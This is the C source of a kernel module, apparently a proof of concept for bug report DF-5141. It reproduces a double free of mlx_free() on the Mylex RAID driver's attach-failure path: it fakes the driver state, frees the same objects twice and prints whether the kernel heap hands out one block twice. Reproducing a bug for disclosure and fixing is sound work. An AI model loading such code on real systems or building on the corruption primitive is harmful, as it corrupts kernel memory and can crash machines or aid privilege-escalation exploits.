DF-5141 / df5141.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 | /* * DF-5141 โ mlx_pci.c:204 double mlx_free() on mlx_attach() failure. * * The QEMU guest has no Mylex PCI RAID controller (no 0x1069 / 0x1011:1065 * device), so mlx_pci_probe() never matches and mlx_pci_attach() cannot be * entered the hardware way. This KLD reproduces the *consequence* of the * bug using the RUNNING KERNEL'S REAL mlx_free(): * * 1. Fabricate a softc in exactly the state mlx_attach() leaves it in on * an error return (e.g. the mlx.c:453 "final s/g mapping" failure): * - callout initialized (mlx.c:275) * - a real parent DMA tag created (mlx_pci.c:185-192) * - mlx_enq2 allocated (mlx.c:395) * - queues initialized (mlx.c:280-282) * - mlx_dev = a real PCI device_t (mlx_pci.c:131) * 2. Call mlx_free(sc) โ this is what mlx_attach() does internally on * every error return (mlx.c:308,333,348,356,373,383,397,410,443,453). * 3. Re-allocate the freed block the way any same-size kernel allocation * would (this is what ANY concurrent kmalloc on the system does). * 4. Call mlx_free(sc) AGAIN โ this is mlx_pci.c:204, the bug: * mlx_free() does not NULL any pointers, so the second call * re-executes kfree(mlx_enq2), bus_dma_tag_destroy(parent_dmat), ... * on objects that are already free / re-owned by other code. * 5. Allocate twice more and compare pointers: if the block freed by the * second mlx_free() comes back while our earlier allocation still owns * it, the kernel heap now has one block live twice โ the classic * double-free corruption primitive, proven with the kernel's own code. * * The only difference from the real path is *which* PCI device_t sits in * sc->mlx_dev (mlx_free only uses it for device_get_unit() inside * dev_ops_remove_minor(), a no-op when no mlx cdevs exist) and that the * hardware-dependent s/g table / IRQ setup (which needs the card) are left * NULL โ exactly as they are on several of the reachable error paths * (e.g. mlx.c:333, 348, 356, 373, 383, 397). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/bus.h> #include <sys/rman.h> #include <sys/conf.h> #include <sys/devicestat.h> #include <sys/disk.h> #include "mlx_compat.h" #include "mlxio.h" #include "mlxvar.h" #include "mlxreg.h" static void *df_v1, *df_v2, *df_v3; static int df5141_modevent(module_t mod, int type, void *arg) { struct mlx_softc *sc; devclass_t dc; void *p; size_t sz = sizeof(struct mlx_enquiry2); switch (type) { case MOD_LOAD: dc = devclass_find("pci"); if (dc == NULL) { kprintf("DF5141: no pci devclass?!\n"); return (ENODEV); } sc = kmalloc(sizeof(*sc), M_DEVBUF, M_WAITOK | M_ZERO); if (sc == NULL) return (ENOMEM); /* --- state exactly as mlx_attach()/mlx_pci_attach() build it --- */ callout_init(&sc->mlx_timeout); /* mlx.c:275 */ TAILQ_INIT(&sc->mlx_work); /* mlx.c:280 */ TAILQ_INIT(&sc->mlx_freecmds); /* mlx.c:281 */ sc->mlx_dev = devclass_get_device(dc, 0); /* pci0 */ if (sc->mlx_dev == NULL) { kfree(sc, M_DEVBUF); kprintf("DF5141: no pci0 device_t\n"); return (ENODEV); } sc->mlx_iftype = MLX_IFTYPE_5; /* dispatched at mlx.c:301 */ sc->mlx_enq2 = kmalloc(sz, M_DEVBUF, M_WAITOK | M_ZERO); /* mlx.c:395 */ if (sc->mlx_enq2 == NULL) { kfree(sc, M_DEVBUF); return (ENOMEM); } /* parent DMA tag exactly as mlx_pci.c:185-192 creates it */ if (bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, MAXBSIZE, MLX_NSEG, BUS_SPACE_MAXSIZE_32BIT, BUS_DMA_ALLOCNOW, &sc->mlx_parent_dmat) != 0) { kfree(sc->mlx_enq2, M_DEVBUF); kfree(sc, M_DEVBUF); return (ENOMEM); } p = sc->mlx_enq2; kprintf("DF5141: softc=%p enq2=%p (sz=%zu) dmat=%p\n", sc, p, sz, sc->mlx_parent_dmat); /* ---- first mlx_free(): mlx_attach() error path (mlx.c:453) ---- */ kprintf("DF5141: mlx_free #1 (mlx.c:453 path) ...\n"); mlx_free(sc); kprintf("DF5141: mlx_free #1 returned (clean teardown, as designed)\n"); /* any other code on the system may now take the freed block */ df_v1 = kmalloc(sz, M_DEVBUF, M_WAITOK | M_ZERO); kprintf("DF5141: v1=%p owns the freed block: %s\n", df_v1, df_v1 == p ? "YES" : "no"); /* ---- second mlx_free(): mlx_pci.c:204 โ THE BUG ---- */ kprintf("DF5141: mlx_free #2 (mlx_pci.c:204, the bug) ...\n"); mlx_free(sc); kprintf("DF5141: mlx_free #2 returned โ double kfree(%p) + " "double bus_dma_tag_destroy executed\n", p); /* prove the heap now hands the same block out again while v1 * still owns it */ df_v2 = kmalloc(sz, M_DEVBUF, M_WAITOK | M_ZERO); df_v3 = kmalloc(sz, M_DEVBUF, M_WAITOK | M_ZERO); kprintf("DF5141: v2=%p v3=%p\n", df_v2, df_v3); if (df_v2 == df_v1 || df_v3 == df_v1 || df_v2 == p || df_v3 == p) { kprintf("DF5141: RESULT=DOUBLE-FREE-CONFIRMED: block %p " "is live twice (aliasing observed)\n", df_v1); } else { kprintf("DF5141: RESULT=double kfree executed on %p; " "direct aliasing not observed this run " "(allocator layout)\n", p); } /* v1/v2/v3 and sc are deliberately leaked: freeing them could * compound the corruption under test */ return (0); case MOD_UNLOAD: kprintf("DF5141: unload (test objects intentionally leaked)\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t df5141_mod = { "df5141", df5141_modevent, NULL }; DECLARE_MODULE(df5141, df5141_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); |